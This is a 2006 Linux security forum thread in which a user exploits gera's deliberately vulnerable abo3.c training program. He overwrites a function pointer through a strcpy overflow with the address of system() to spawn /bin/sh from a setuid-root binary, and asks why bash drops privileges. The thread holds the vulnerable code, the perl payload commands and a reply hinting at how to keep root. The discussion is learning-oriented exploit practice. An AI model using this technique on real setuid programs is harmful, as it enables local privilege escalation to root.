LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 05-18-2006, 03:58 PM   #1
NNP
Member
 
Registered: Nov 2004
Distribution: Debian/Ubuntu
Posts: 156

Rep: Reputation: 30
Does system drop privaleges


Ok im exploiting a simple program by overwriting a function ptr with the address of system. I am passing "/bin/sh" to that. I had expected to end up with the same privaleges as i had before as I was under the impression that system() executes programs using /bin/sh which apparently drops priveleges. I wasnt disappointed in this regard
Code:
/* abo3.c                                       *
 * specially crafted to feed your brain by gera */

/* This'll prepare you for The Next Step        */

int main(int argv,char **argc) {
	extern system,puts; 
	void (*fn)(char*)=(void(*)(char*))&system;
	char buf[256];

	fn=(void(*)(char*))&puts;
	strcpy(buf,argc[1]);
	fn(argc[2]);
	exit(1);
}
Quote:
nnp@torvalds:~/coding/geras/abo$ sudo chmod +s abo3
nnp@torvalds:~/coding/geras/abo$ ls -al
total 40
drwxr-xr-x 2 nnp users 4096 2006-05-18 21:03 .
drwxr-xr-x 3 nnp users 4096 2006-05-18 19:52 ..
-rwsr-sr-x 1 root root 11991 2006-05-18 20:50 abo3
-rw-r--r-- 1 nnp users 219 2006-05-18 19:53 abo3.c
-rwxr-xr-x 1 nnp users 11685 2006-05-18 21:03 test
-rw-r--r-- 1 nnp users 97 2006-05-18 20:05 test.c
nnp@torvalds:~/coding/geras/abo$ ./abo3 `perl -e 'print "\x60\x57\xef\xb7"x68'` "/bin/sh"
sh-3.00$ id
uid=1000(nnp) gid=100(users) groups=6(disk),10(wheel),17(audio),18(video),19(cdrom),100(users)
sh-3.00$
I was then talking to a friend of mine who said I was wrong and that /bin/sh did not drop privs. He showed me his output

Quote:
$ ls -al ./abo3 ; ./abo3 `perl -e 'print "\xc8\x61\xee\xb7" x 68'` "/bin/sh"
ykram -rwsr-xr-x 1 root root 11771 2006-05-18 15:09 ./abo3
ykram sh-3.00# whoami
ykram root
He is quite adamant that using the same method he ends up with an effective uid of 0. The man page has this to say on the matter

Quote:
system() will not, in fact, work properly from programs with suid or sgid privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup.
Both me and my friend are both using the same version though,
Quote:
nnp@torvalds:~$ /bin/sh --version
GNU bash, version 3.00.16(2)-release (i486-slackware-linux-gnu)
Copyright © 2004 Free Software Foundation, Inc.
nnp@torvalds:~$
Although his doesnt have the slackware specific part.

The thing is. If im root and run /bin/sh then in sh run /bin/sh again the prompt i get is still root so its quite obviously not dropping privs then but if i use the following program it does drop privs. Aghghh!!!!
Code:
nnp@torvalds:~$ ls -al | grep test | grep -v test.c | grep -v contest
-rwsr-sr-x   1 root root    15125 2006-05-19 19:06 test
nnp@torvalds:~$ cat test.c 
#include <stdlib.h>

int main() {
        system("/bin/sh");
        return 0;
}
nnp@torvalds:~$ ./test  
sh-3.00$ i
sh: i: command not found
sh-3.00$ id
uid=1000(nnp) gid=100(users) groups=6(disk),10(wheel),17(audio),18(video),19(cdrom),100(users)
sh-3.00$
also for some reason when i run the above program it takes the first letter i type as a command as if i pressed return...odd..


Anyone know what im misunderstanding?

Last edited by NNP; 05-19-2006 at 01:12 PM.
 
Old 05-23-2006, 03:29 AM   #2
primo
Member
 
Registered: Jun 2005
Posts: 542

Rep: Reputation: 34
The abo3.c above spits "Segmentation fault" on my system.

Bash does drop privileges if the EUID != UID. Read the manpage. With the -p option you may turn it off. Obviously on a setuid binary you start with your real UID and the EUID of the executable's owner. A little trickery is needed if you want a root shell.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Is there a way to drop connections? abefroman Linux - Security 8 03-13-2007 09:59 AM
Drop connections to port 80 at firewall machine also drop at protected network? Niceman2005 Linux - Security 2 10-27-2005 08:21 AM
iptables - drop all -> allow needed OR allow all -> drop specific lucastic Linux - Security 5 12-21-2004 02:07 AM
Icon with root privaleges squabsy Linux - General 2 03-01-2004 05:08 AM
proftpd user privaleges alimharji Linux - Networking 0 02-08-2004 10:43 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 04:40 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration